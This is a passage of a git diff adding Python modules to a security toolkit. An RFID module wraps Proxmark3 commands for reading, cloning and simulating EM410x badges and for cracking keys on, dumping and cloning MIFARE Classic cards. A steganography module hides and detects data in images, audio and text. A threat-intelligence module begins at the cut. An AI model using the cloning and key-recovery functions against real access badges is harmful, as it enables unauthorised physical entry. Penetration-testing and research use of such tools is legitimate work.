re.search(r'EM\s*410x\s+ID[:\s]*([A-Fa-f0-9]+)', result['stdout'], re.I) + if match: + card = { + 'type': 'em410x', 'id': match.group(1), + 'name': 'EM410x', 'frequency': '125 kHz' + } + self.last_read = card + return {'ok': True, 'card': card} + return {'ok': False, 'error': 'Could not read EM410x', 'raw': result['stdout']} + + def lf_clone_em410x(self, card_id: str) -> Dict: + """Clone EM410x ID to T5577 card.""" + result = self._pm3_cmd(f'lf em 410x clone --id {card_id}') + return { + 'ok': 'written' in result.get('stdout', '').lower() or result['ok'], + 'message': f'Cloned EM410x ID {card_id}' if result['ok'] else result.get('error', ''), + 'raw': result.get('stdout', '') + } + + def lf_sim_em410x(self, card_id: str) -> Dict: + """Simulate EM410x card.""" + result = self._pm3_cmd(f'lf em 410x sim --id {card_id}', timeout=30) + return { + 'ok': result['ok'], + 'message': f'Simulating EM410x ID {card_id}', + 'raw': result.get('stdout', '') + } + + # ── High Frequency (13.56 MHz) ─────────────────────────────────────── + + def hf_search(self) -> Dict: + """Search for HF (13.56 MHz) cards.""" + result = self._pm3_cmd('hf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '13.56 MHz', 'category': 'HF'} + + # Parse UID + uid_match = re.search(r'UID[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if uid_match: + card['uid'] = uid_match.group(1).replace(' ', '').strip() + + # Parse ATQA/SAK + atqa_match = re.search(r'ATQA[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if atqa_match: + card['atqa'] = atqa_match.group(1).strip() + sak_match = re.search(r'SAK[:\s]*([A-Fa-f0-9]+)', output, re.I) + if sak_match: + card['sak'] = sak_match.group(1).strip() + + # Detect type + if 'mifare classic 1k' in output.lower(): + card['type'] = 'mifare_classic_1k' + card['name'] = 'MIFARE Classic 1K' + elif 'mifare classic 4k' in output.lower(): + card['type'] = 'mifare_classic_4k' + card['name'] = 'MIFARE Classic 4K' + elif 'ultralight' in output.lower() or 'ntag' in output.lower(): + card['type'] = 'mifare_ultralight' + card['name'] = 'MIFARE Ultralight/NTAG' + elif 'desfire' in output.lower(): + card['type'] = 'mifare_desfire' + card['name'] = 'MIFARE DESFire' + elif 'iso14443' in output.lower(): + card['type'] = 'iso14443a' + card['name'] = 'ISO 14443A' + + if 'uid' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No HF card found', 'raw': output} + + def hf_dump_mifare(self, keys_file: str = None) -> Dict: + """Dump MIFARE Classic card data.""" + cmd = 'hf mf autopwn' + if keys_file: + cmd += f' -f {keys_file}' + + result = self._pm3_cmd(cmd, timeout=120) + if not result['ok']: + return result + + output = result['stdout'] + + # Look for dump file + dump_match = re.search(r'saved.*?(\S+\.bin)', output, re.I) + if dump_match: + dump_file = dump_match.group(1) + # Copy to our dumps directory + dest = os.path.join(self.dumps_dir, Path(dump_file).name) + if os.path.exists(dump_file): + shutil.copy2(dump_file, dest) + + return { + 'ok': True, + 'dump_file': dest, + 'message': 'MIFARE dump complete', + 'raw': output + } + + # Check for found keys + keys = re.findall(r'key\s*[AB][:\s]*([A-Fa-f0-9]{12})', output, re.I) + if keys: + return { + 'ok': True, + 'keys_found': list(set(keys)), + 'message': f'Found {len(set(keys))} keys', + 'raw': output + } + + return {'ok': False, 'error': 'Dump failed', 'raw': output} + + def hf_clone_mifare(self, dump_file: str) -> Dict: + """Write MIFARE dump to blank card.""" + result = self._pm3_cmd(f'hf mf restore -f {dump_file}', timeout=60) + return { + 'ok': 'restored' in result.get('stdout', '').lower() or result['ok'], + 'message': 'Card cloned' if result['ok'] else 'Clone failed', + 'raw': result.get('stdout', '') + } + + # ── NFC Operations (via libnfc) ────────────────────────────────────── + + def nfc_scan(self) -> Dict: + """Scan for NFC tags using libnfc.""" + if not self.nfc_list: + return {'ok': False, 'error': 'nfc-list not found (install libnfc)'} + + try: + result = subprocess.run( + [self.nfc_list], capture_output=True, text=True, timeout=10 + ) + tags = [] + for line in result.stdout.splitlines(): + uid_match = re.search(r'UID.*?:\s*([A-Fa-f0-9\s:]+)', line, re.I) + if uid_match: + tags.append({ + 'uid': uid_match.group(1).replace(' ', '').replace(':', ''), + 'raw': line.strip() + }) + return {'ok': True, 'tags': tags, 'count': len(tags)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Card Database ──────────────────────────────────────────────────── + + def save_card(self, card: Dict, name: str = None) -> Dict: + """Save card data to database.""" + card['saved_at'] = datetime.now(timezone.utc).isoformat() + card['display_name'] = name or card.get('name', 'Unknown Card') + # Remove raw output to save space + card.pop('raw_output', None) + self.cards.append(card) + self._save_cards() + return {'ok': True, 'count': len(self.cards)} + + def get_saved_cards(self) -> List[Dict]: + """List saved cards.""" + return self.cards + + def delete_card(self, index: int) -> Dict: + """Delete saved card by index.""" + if 0 <= index < len(self.cards): + self.cards.pop(index) + self._save_cards() + return {'ok': True} + return {'ok': False, 'error': 'Invalid index'} + + def _save_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + with open(cards_file, 'w') as f: + json.dump(self.cards, f, indent=2) + + def _load_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + if os.path.exists(cards_file): + try: + with open(cards_file) as f: + self.cards = json.load(f) + except Exception: + pass + + def list_dumps(self) -> List[Dict]: + """List saved card dumps.""" + dumps = [] + for f in Path(self.dumps_dir).iterdir(): + if f.is_file(): + dumps.append({ + 'name': f.name, 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return dumps + + def get_default_keys(self) -> List[str]: + """Return common MIFARE default keys.""" + return MIFARE_DEFAULT_KEYS + + def get_card_types(self) -> Dict: + """Return supported card type info.""" + return CARD_TYPES + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_rfid_manager() -> RFIDManager: + global _instance + if _instance is None: + _instance = RFIDManager() + _instance._load_cards() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for RFID/NFC module.""" + mgr = get_rfid_manager() + + while True: + tools = mgr.get_tools_status() + print(f"\n{'='*60}") + print(f" RFID / NFC Tools") + print(f"{'='*60}") + print(f" Proxmark3: {'OK' if tools['proxmark3'] else 'NOT FOUND'}") + print(f" libnfc: {'OK' if tools['nfc-list'] else 'NOT FOUND'}") + print(f" Saved cards: {tools['saved_cards']}") + print() + print(" 1 — LF Search (125 kHz)") + print(" 2 — HF Search (13.56 MHz)") + print(" 3 — Read EM410x") + print(" 4 — Clone EM410x to T5577") + print(" 5 — Dump MIFARE Classic") + print(" 6 — Clone MIFARE from Dump") + print(" 7 — NFC Scan (libnfc)") + print(" 8 — Saved Cards") + print(" 9 — Card Dumps") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + result = mgr.lf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} ID: {c.get('id', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '2': + result = mgr.hf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} UID: {c.get('uid', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '3': + result = mgr.lf_read_em410x() + if result['ok']: + print(f" EM410x ID: {result['card']['id']}") + save = input(" Save card? (y/n): ").strip() + if save.lower() == 'y': + mgr.save_card(result['card']) + else: + print(f" {result['error']}") + elif choice == '4': + card_id = input(" EM410x ID to clone: ").strip() + if card_id: + result = mgr.lf_clone_em410x(card_id) + print(f" {result.get('message', result.get('error'))}") + elif choice == '5': + result = mgr.hf_dump_mifare() + if result['ok']: + print(f" {result['message']}") + if 'keys_found' in result: + for k in result['keys_found']: + print(f" Key: {k}") + else: + print(f" {result['error']}") + elif choice == '6': + dump = input(" Dump file path: ").strip() + if dump: + result = mgr.hf_clone_mifare(dump) + print(f" {result['message']}") + elif choice == '7': + result = mgr.nfc_scan() + if result['ok']: + print(f" Found {result['count']} tags:") + for t in result['tags']: + print(f" UID: {t['uid']}") + else: + print(f" {result['error']}") + elif choice == '8': + cards = mgr.get_saved_cards() + for i, c in enumerate(cards): + print(f" [{i}] {c.get('display_name', '?')} " + f"{c.get('type', '?')} ID={c.get('id', c.get('uid', '?'))}") + elif choice == '9': + for d in mgr.list_dumps(): + print(f" {d['name']} ({d['size']} bytes)") diff --git a/modules/steganography.py b/modules/steganography.py new file mode 100644 index 0000000..6fd7b47 --- /dev/null +++ b/modules/steganography.py @@ -0,0 +1,769 @@ +"""AUTARCH Steganography + +Image/audio/document steganography — hide data in carrier files using LSB +encoding, DCT domain embedding, and whitespace encoding. Includes detection +via statistical analysis and optional AES-256 encryption. +""" + +DESCRIPTION = "Steganography — hide & extract data in files" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "counter" + +import os +import io +import re +import json +import struct +import hashlib +import secrets +from pathlib import Path +from typing import Dict, List, Optional, Tuple + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional imports +try: + from PIL import Image + HAS_PIL = True +except ImportError: + HAS_PIL = False + +try: + from Crypto.Cipher import AES + from Crypto.Util.Padding import pad, unpad + HAS_CRYPTO = True +except ImportError: + try: + from Cryptodome.Cipher import AES + from Cryptodome.Util.Padding import pad, unpad + HAS_CRYPTO = True + except ImportError: + HAS_CRYPTO = False + +try: + import wave + HAS_WAVE = True +except ImportError: + HAS_WAVE = False + + +# ── Encryption Layer ───────────────────────────────────────────────────────── + +def _derive_key(password: str) -> bytes: + """Derive 256-bit key from password.""" + return hashlib.sha256(password.encode()).digest() + +def _encrypt_data(data: bytes, password: str) -> bytes: + """AES-256-CBC encrypt data.""" + if not HAS_CRYPTO: + return data + key = _derive_key(password) + iv = secrets.token_bytes(16) + cipher = AES.new(key, AES.MODE_CBC, iv) + ct = cipher.encrypt(pad(data, AES.block_size)) + return iv + ct + +def _decrypt_data(data: bytes, password: str) -> bytes: + """AES-256-CBC decrypt data.""" + if not HAS_CRYPTO: + return data + key = _derive_key(password) + iv = data[:16] + ct = data[16:] + cipher = AES.new(key, AES.MODE_CBC, iv) + return unpad(cipher.decrypt(ct), AES.block_size) + + +# ── LSB Image Steganography ────────────────────────────────────────────────── + +class ImageStego: + """LSB steganography for PNG/BMP images.""" + + MAGIC = b'ASTS' # AUTARCH Stego Signature + + @staticmethod + def capacity(image_path: str) -> Dict: + """Calculate maximum payload capacity in bytes.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow (PIL) not installed'} + try: + img = Image.open(image_path) + w, h = img.size + channels = len(img.getbands()) + # 1 bit per channel per pixel, minus header + total_bits = w * h * channels + total_bytes = total_bits // 8 - 8 # subtract header (magic + length) + return { + 'ok': True, 'capacity_bytes': max(0, total_bytes), + 'width': w, 'height': h, 'channels': channels, + 'format': img.format + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def hide(image_path: str, data: bytes, output_path: str, + password: str = None, bits_per_channel: int = 1) -> Dict: + """Hide data in image using LSB encoding.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow (PIL) not installed'} + + try: + img = Image.open(image_path).convert('RGB') + pixels = list(img.getdata()) + w, h = img.size + + # Encrypt if password provided + payload = data + if password: + payload = _encrypt_data(data, password) + + # Build header: magic(4) + length(4) + payload + header = ImageStego.MAGIC + struct.pack('>I', len(payload)) + full_data = header + payload + + # Convert to bits + bits = [] + for byte in full_data: + for i in range(7, -1, -1): + bits.append((byte >> i) & 1) + + # Check capacity + max_bits = len(pixels) * 3 * bits_per_channel + if len(bits) > max_bits: + return {'ok': False, 'error': f'Data too large ({len(full_data)} bytes). ' + f'Max capacity: {max_bits // 8} bytes'} + + # Encode bits into LSB + bit_idx = 0 + new_pixels = [] + mask = ~((1 << bits_per_channel) - 1) & 0xFF + + for pixel in pixels: + new_pixel = [] + for channel_val in pixel: + if bit_idx < len(bits): + # Clear LSBs and set new value + new_val = (channel_val & mask) | bits[bit_idx] + new_pixel.append(new_val) + bit_idx += 1 + else: + new_pixel.append(channel_val) + new_pixels.append(tuple(new_pixel)) + + # Save + stego_img = Image.new('RGB', (w, h)) + stego_img.putdata(new_pixels) + stego_img.save(output_path, 'PNG') + + return { + 'ok': True, + 'output': output_path, + 'hidden_bytes': len(payload), + 'encrypted': password is not None, + 'message': f'Hidden {len(payload)} bytes in {output_path}' + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def extract(image_path: str, password: str = None, + bits_per_channel: int = 1) -> Dict: + """Extract hidden data from image.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow (PIL) not installed'} + + try: + img = Image.open(image_path).convert('RGB') + pixels = list(img.getdata()) + + # Extract all LSBs + bits = [] + for pixel in pixels: + for channel_val in pixel: + bits.append(channel_val & 1) + + # Convert bits to bytes + all_bytes = bytearray() + for i in range(0, len(bits) - 7, 8): + byte = 0 + for j in range(8): + byte = (byte << 1) | bits[i + j] + all_bytes.append(byte) + + # Check magic + if all_bytes[:4] != ImageStego.MAGIC: + return {'ok': False, 'error': 'No hidden data found (magic mismatch)'} + + # Read length + payload_len = struct.unpack('>I', bytes(all_bytes[4:8]))[0] + if payload_len > len(all_bytes) - 8: + return {'ok': False, 'error': 'Corrupted data (length exceeds image capacity)'} + + payload = bytes(all_bytes[8:8 + payload_len]) + + # Decrypt if password provided + if password: + try: + payload = _decrypt_data(payload, password) + except Exception: + return {'ok': False, 'error': 'Decryption failed (wrong password?)'} + + return { + 'ok': True, + 'data': payload, + 'size': len(payload), + 'encrypted': password is not None, + 'message': f'Extracted {len(payload)} bytes' + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Audio Steganography ────────────────────────────────────────────────────── + +class AudioStego: + """LSB steganography for WAV audio files.""" + + MAGIC = b'ASTS' + + @staticmethod + def capacity(audio_path: str) -> Dict: + """Calculate maximum payload capacity.""" + if not HAS_WAVE: + return {'ok': False, 'error': 'wave module not available'} + try: + with wave.open(audio_path, 'rb') as w: + frames = w.getnframes() + channels = w.getnchannels() + sample_width = w.getsampwidth() + total_bytes = (frames * channels) // 8 - 8 + return { + 'ok': True, 'capacity_bytes': max(0, total_bytes), + 'frames': frames, 'channels': channels, + 'sample_width': sample_width, + 'framerate': w.getframerate() + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def hide(audio_path: str, data: bytes, output_path: str, + password: str = None) -> Dict: + """Hide data in WAV audio using LSB of samples.""" + if not HAS_WAVE: + return {'ok': False, 'error': 'wave module not available'} + + try: + with wave.open(audio_path, 'rb') as w: + params = w.getparams() + frames = w.readframes(w.getnframes()) + + payload = data + if password: + payload = _encrypt_data(data, password) + + header = AudioStego.MAGIC + struct.pack('>I', len(payload)) + full_data = header + payload + + bits = [] + for byte in full_data: + for i in range(7, -1, -1): + bits.append((byte >> i) & 1) + + samples = list(frames) + if len(bits) > len(samples): + return {'ok': False, 'error': f'Data too large. Max: {len(samples) // 8} bytes'} + + for i, bit in enumerate(bits): + samples[i] = (samples[i] & 0xFE) | bit + + with wave.open(output_path, 'wb') as w: + w.setparams(params) + w.writeframes(bytes(samples)) + + return { + 'ok': True, 'output': output_path, + 'hidden_bytes': len(payload), + 'encrypted': password is not None + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def extract(audio_path: str, password: str = None) -> Dict: + """Extract hidden data from WAV audio.""" + if not HAS_WAVE: + return {'ok': False, 'error': 'wave module not available'} + + try: + with wave.open(audio_path, 'rb') as w: + frames = w.readframes(w.getnframes()) + + samples = list(frames) + bits = [s & 1 for s in samples] + + all_bytes = bytearray() + for i in range(0, len(bits) - 7, 8): + byte = 0 + for j in range(8): + byte = (byte << 1) | bits[i + j] + all_bytes.append(byte) + + if all_bytes[:4] != AudioStego.MAGIC: + return {'ok': False, 'error': 'No hidden data found'} + + payload_len = struct.unpack('>I', bytes(all_bytes[4:8]))[0] + payload = bytes(all_bytes[8:8 + payload_len]) + + if password: + try: + payload = _decrypt_data(payload, password) + except Exception: + return {'ok': False, 'error': 'Decryption failed'} + + return {'ok': True, 'data': payload, 'size': len(payload)} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Document Steganography ─────────────────────────────────────────────────── + +class DocumentStego: + """Whitespace and metadata steganography for text/documents.""" + + @staticmethod + def hide_whitespace(text: str, data: bytes, password: str = None) -> Dict: + """Hide data using zero-width characters in text.""" + payload = data + if password: + payload = _encrypt_data(data, password) + + # Zero-width characters + ZWS = '\u200b' # zero-width space → 0 + ZWNJ = '\u200c' # zero-width non-joiner → 1 + ZWJ = '\u200d' # zero-width joiner → separator + + # Convert payload to binary string + bits = ''.join(f'{byte:08b}' for byte in payload) + encoded = '' + for bit in bits: + encoded += ZWNJ if bit == '1' else ZWS + + # Insert length prefix + length_bits = f'{len(payload):032b}' + length_encoded = '' + for bit in length_bits: + length_encoded += ZWNJ if bit == '1' else ZWS + + hidden = length_encoded + ZWJ + encoded + + # Insert after first line + lines = text.split('\n', 1) + if len(lines) > 1: + result = lines[0] + hidden + '\n' + lines[1] + else: + result = text + hidden + + return { + 'ok': True, 'text': result, + 'hidden_bytes': len(payload), + 'encrypted': password is not None + } + + @staticmethod + def extract_whitespace(text: str, password: str = None) -> Dict: + """Extract data hidden in zero-width characters.""" + ZWS = '\u200b' + ZWNJ = '\u200c' + ZWJ = '\u200d' + + # Find zero-width characters + zw_chars = ''.join(c for c in text if c in (ZWS, ZWNJ, ZWJ)) + if ZWJ not in zw_chars: + return {'ok': False, 'error': 'No hidden data found'} + + length_part, data_part = zw_chars.split(ZWJ, 1) + + # Decode length + length_bits = ''.join('1' if c == ZWNJ else '0' for c in length_part) + if len(length_bits) < 32: + return {'ok': False, 'error': 'Corrupted header'} + payload_len = int(length_bits[:32], 2) + + # Decode data + data_bits = ''.join('1' if c == ZWNJ else '0' for c in data_part) + payload = bytearray() + for i in range(0, min(len(data_bits), payload_len * 8), 8): + if i + 8 <= len(data_bits): + payload.append(int(data_bits[i:i+8], 2)) + + result_data = bytes(payload) + if password: + try: + result_data = _decrypt_data(result_data, password) + except Exception: + return {'ok': False, 'error': 'Decryption failed'} + + return {'ok': True, 'data': result_data, 'size': len(result_data)} + + +# ── Detection / Analysis ──────────────────────────────────────────────────── + +class StegoDetector: + """Statistical analysis to detect hidden data in files.""" + + @staticmethod + def analyze_image(image_path: str) -> Dict: + """Analyze image for signs of steganography.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow (PIL) not installed'} + + try: + img = Image.open(image_path).convert('RGB') + pixels = list(img.getdata()) + w, h = img.size + + # Chi-square analysis on LSBs + observed = [0, 0] # count of 0s and 1s in R channel LSBs + for pixel in pixels: + observed[pixel[0] & 1] += 1 + + total = sum(observed) + expected = total / 2 + chi_sq = sum((o - expected) ** 2 / expected for o in observed) + + # RS analysis (Regular-Singular groups) + # Count pixel pairs where LSB flip changes smoothness + regular = 0 + singular = 0 + for i in range(0, len(pixels) - 1, 2): + p1, p2 = pixels[i][0], pixels[i+1][0] + diff_orig = abs(p1 - p2) + diff_flip = abs((p1 ^ 1) - p2) + + if diff_flip > diff_orig: + regular += 1 + elif diff_flip < diff_orig: + singular += 1 + + total_pairs = regular + singular + rs_ratio = regular / total_pairs if total_pairs > 0 else 0.5 + + # Check for ASTS magic in LSBs + bits = [] + for pixel in pixels[:100]: + for c in pixel: + bits.append(c & 1) + + header_bytes = bytearray() + for i in range(0, min(32, len(bits)), 8): + byte = 0 + for j in range(8): + byte = (byte << 1) | bits[i + j] + header_bytes.append(byte) + + has_asts_magic = header_bytes[:4] == ImageStego.MAGIC + + # Scoring + score = 0 + indicators = [] + + if chi_sq < 1.0: + score += 30 + indicators.append(f'LSB distribution very uniform (chi²={chi_sq:.2f})') + elif chi_sq < 3.84: + score += 15 + indicators.append(f'LSB distribution slightly uniform (chi²={chi_sq:.2f})') + + if rs_ratio > 0.6: + score += 25 + indicators.append(f'RS analysis suggests embedding (R/S={rs_ratio:.3f})') + + if has_asts_magic: + score += 50 + indicators.append('AUTARCH stego signature detected in LSB') + + # Check file size vs expected + file_size = os.path.getsize(image_path) + expected_size = w * h * 3 # rough uncompressed estimate + if file_size > expected_size * 0.9: # PNG should be smaller + score += 10 + indicators.append('File larger than expected for format') + + verdict = 'clean' + if score >= 50: + verdict = 'likely_stego' + elif score >= 25: + verdict = 'suspicious' + + return { + 'ok': True, + 'verdict': verdict, + 'confidence_score': min(100, score), + 'chi_square': round(chi_sq, 4), + 'rs_ratio': round(rs_ratio, 4), + 'has_magic': has_asts_magic, + 'indicators': indicators, + 'image_info': {'width': w, 'height': h, 'size': file_size} + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def analyze_audio(audio_path: str) -> Dict: + """Analyze audio file for signs of steganography.""" + if not HAS_WAVE: + return {'ok': False, 'error': 'wave module not available'} + + try: + with wave.open(audio_path, 'rb') as w: + frames = w.readframes(min(w.getnframes(), 100000)) + params = w.getparams() + + samples = list(frames) + observed = [0, 0] + for s in samples: + observed[s & 1] += 1 + + total = sum(observed) + expected = total / 2 + chi_sq = sum((o - expected) ** 2 / expected for o in observed) + + # Check for magic + bits = [s & 1 for s in samples[:100]] + header_bytes = bytearray() + for i in range(0, min(32, len(bits)), 8): + byte = 0 + for j in range(8): + byte = (byte << 1) | bits[i + j] + header_bytes.append(byte) + + has_magic = header_bytes[:4] == AudioStego.MAGIC + + score = 0 + indicators = [] + if chi_sq < 1.0: + score += 30 + indicators.append(f'LSB distribution uniform (chi²={chi_sq:.2f})') + if has_magic: + score += 50 + indicators.append('AUTARCH stego signature detected') + + verdict = 'clean' + if score >= 50: + verdict = 'likely_stego' + elif score >= 25: + verdict = 'suspicious' + + return { + 'ok': True, 'verdict': verdict, + 'confidence_score': min(100, score), + 'chi_square': round(chi_sq, 4), + 'has_magic': has_magic, + 'indicators': indicators, + 'audio_info': { + 'channels': params.nchannels, + 'framerate': params.framerate, + 'frames': params.nframes + } + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Steganography Manager ─────────────────────────────────────────────────── + +class StegoManager: + """Unified interface for all steganography operations.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'stego') + os.makedirs(self.data_dir, exist_ok=True) + self.image = ImageStego() + self.audio = AudioStego() + self.document = DocumentStego() + self.detector = StegoDetector() + + def get_capabilities(self) -> Dict: + """Check available steganography capabilities.""" + return { + 'image': HAS_PIL, + 'audio': HAS_WAVE, + 'document': True, + 'encryption': HAS_CRYPTO, + 'detection': HAS_PIL or HAS_WAVE + } + + def hide(self, carrier_path: str, data: bytes, output_path: str = None, + password: str = None, carrier_type: str = None) -> Dict: + """Hide data in a carrier file (auto-detect type).""" + if not carrier_type: + ext = Path(carrier_path).suffix.lower() + if ext in ('.png', '.bmp', '.tiff', '.tif'): + carrier_type = 'image' + elif ext in ('.wav', '.wave'): + carrier_type = 'audio' + else: + return {'ok': False, 'error': f'Unsupported carrier format: {ext}'} + + if not output_path: + p = Path(carrier_path) + output_path = str(p.parent / f'{p.stem}_stego{p.suffix}') + + if carrier_type == 'image': + return self.image.hide(carrier_path, data, output_path, password) + elif carrier_type == 'audio': + return self.audio.hide(carrier_path, data, output_path, password) + + return {'ok': False, 'error': f'Unsupported type: {carrier_type}'} + + def extract(self, carrier_path: str, password: str = None, + carrier_type: str = None) -> Dict: + """Extract hidden data from carrier file.""" + if not carrier_type: + ext = Path(carrier_path).suffix.lower() + if ext in ('.png', '.bmp', '.tiff', '.tif'): + carrier_type = 'image' + elif ext in ('.wav', '.wave'): + carrier_type = 'audio' + + if carrier_type == 'image': + return self.image.extract(carrier_path, password) + elif carrier_type == 'audio': + return self.audio.extract(carrier_path, password) + + return {'ok': False, 'error': f'Unsupported type: {carrier_type}'} + + def detect(self, file_path: str) -> Dict: + """Analyze file for steganographic content.""" + ext = Path(file_path).suffix.lower() + if ext in ('.png', '.bmp', '.tiff', '.tif', '.jpg', '.jpeg'): + return self.detector.analyze_image(file_path) + elif ext in ('.wav', '.wave'): + return self.detector.analyze_audio(file_path) + return {'ok': False, 'error': f'Unsupported format for detection: {ext}'} + + def capacity(self, file_path: str) -> Dict: + """Check capacity of a carrier file.""" + ext = Path(file_path).suffix.lower() + if ext in ('.png', '.bmp', '.tiff', '.tif'): + return self.image.capacity(file_path) + elif ext in ('.wav', '.wave'): + return self.audio.capacity(file_path) + return {'ok': False, 'error': f'Unsupported format: {ext}'} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_stego_manager() -> StegoManager: + global _instance + if _instance is None: + _instance = StegoManager() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Steganography module.""" + mgr = get_stego_manager() + + while True: + caps = mgr.get_capabilities() + print(f"\n{'='*60}") + print(f" Steganography") + print(f"{'='*60}") + print(f" Image: {'OK' if caps['image'] else 'MISSING (pip install Pillow)'}") + print(f" Audio: {'OK' if caps['audio'] else 'MISSING'}") + print(f" Encryption: {'OK' if caps['encryption'] else 'MISSING (pip install pycryptodome)'}") + print() + print(" 1 — Hide Data in File") + print(" 2 — Extract Data from File") + print(" 3 — Detect Steganography") + print(" 4 — Check Carrier Capacity") + print(" 5 — Hide Text in Document (whitespace)") + print(" 6 — Extract Text from Document") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + carrier = input(" Carrier file path: ").strip() + message = input(" Message to hide: ").strip() + output = input(" Output file path (blank=auto): ").strip() or None + password = input(" Encryption password (blank=none): ").strip() or None + if carrier and message: + result = mgr.hide(carrier, message.encode(), output, password) + if result['ok']: + print(f" Success: {result.get('message', result.get('output'))}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + carrier = input(" Stego file path: ").strip() + password = input(" Password (blank=none): ").strip() or None + if carrier: + result = mgr.extract(carrier, password) + if result['ok']: + try: + text = result['data'].decode('utf-8') + print(f" Extracted ({result['size']} bytes): {text}") + except UnicodeDecodeError: + print(f" Extracted {result['size']} bytes (binary data)") + else: + print(f" Error: {result['error']}") + elif choice == '3': + filepath = input(" File to analyze: ").strip() + if filepath: + result = mgr.detect(filepath) + if result['ok']: + print(f" Verdict: {result['verdict']} (score: {result['confidence_score']})") + for ind in result.get('indicators', []): + print(f" - {ind}") + else: + print(f" Error: {result['error']}") + elif choice == '4': + filepath = input(" Carrier file: ").strip() + if filepath: + result = mgr.capacity(filepath) + if result['ok']: + kb = result['capacity_bytes'] / 1024 + print(f" Capacity: {result['capacity_bytes']} bytes ({kb:.1f} KB)") + else: + print(f" Error: {result['error']}") + elif choice == '5': + text = input(" Cover text: ").strip() + message = input(" Hidden message: ").strip() + password = input(" Password (blank=none): ").strip() or None + if text and message: + result = mgr.document.hide_whitespace(text, message.encode(), password) + if result['ok']: + print(f" Output text (copy this):") + print(f" {result['text']}") + else: + print(f" Error: {result['error']}") + elif choice == '6': + text = input(" Text with hidden data: ").strip() + password = input(" Password (blank=none): ").strip() or None + if text: + result = mgr.document.extract_whitespace(text, password) + if result['ok']: + print(f" Hidden message: {result['data'].decode('utf-8', errors='replace')}") + else: + print(f" Error: {result['error']}") diff --git a/modules/threat_intel.py b/modules/threat_intel.py new file mode 100644 index 0000000..b61f3a0 --- /dev/null +++ b/modules/threat_intel.py @@ -0,0 +1,716 @@ +"""AUTARCH Threat Intelligence Feed + +IOC management, feed ingestion (STIX/TAXII, CSV, JSON), correlation with +OSINT dossiers, reputation lookups, alerting, and blocklist generation. +""" + +DESCRIPTION = "Threat intelligence & IOC management" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import json +import time +import hashlib +import threading +from pathlib import Path +from datetime import datetime, timezone +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Set +from urllib.parse import urlparse + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests +except ImportError: + requests = None + + +# ── Data Structures ────────────────────────────────────────────────────────── + +IOC_TYPES = ['ip', 'domain', 'url', 'hash_md5', 'hash_sha1', 'hash_sha256', 'email', 'filename'] + +@dataclass +class IOC: + value: str + ioc_type: str + source: str = "manual" + tags: List[str] = field(default_factory=list) + severity: str = "unknown" # critical, high, medium, low, info, unknown + first_seen: str = "" + last_seen: str = "" + description: str = "" + reference: str = "" + active: bool = True + + def to_dict(self) -> Dict: + return { + 'value': self.value, 'ioc_type': self.ioc_type, + 'source': self.source, 'tags': self.tags, + 'severity': self.severity, 'first_seen': self.first_seen, + 'last_seen': self.last_seen, 'description': self.description, + 'reference': self.reference, 'active': self.active, + 'id': hashlib.md5(f"{self.ioc_type}:{self.value}".encode()).hexdigest()[:12] + } + + @staticmethod + def from_dict(d: Dict) -> 'IOC': + return IOC( + value=d['value'], ioc_type=d['ioc_type'], + source=d.get('source', 'manual'), tags=d.get('tags', []), + severity=d.get('severity', 'unknown'), + first_seen=d.get('first_seen', ''), last_seen=d.get('last_seen', ''), + description=d.get('description', ''), reference=d.get('reference', ''), + active=d.get('active', True) + ) + +@dataclass +class Feed: + name: str + feed_type: str # taxii, csv_url, json_url, stix_file + url: str = "" + api_key: str = "" + enabled: bool = True + last_fetch: str = "" + ioc_count: int = 0 + interval_hours: int = 24 + + def to_dict(self) -> Dict: + return { + 'name': self.name, 'feed_type': self.feed_type, + 'url': self.url, 'api_key': self.api_key, + 'enabled': self.enabled, 'last_fetch': self.last_fetch, + 'ioc_count': self.ioc_count, 'interval_hours': self.interval_hours, + 'id': hashlib.md5(f"{self.name}:{self.url}".encode()).hexdigest()[:12] + } + + +# ── Threat Intel Engine 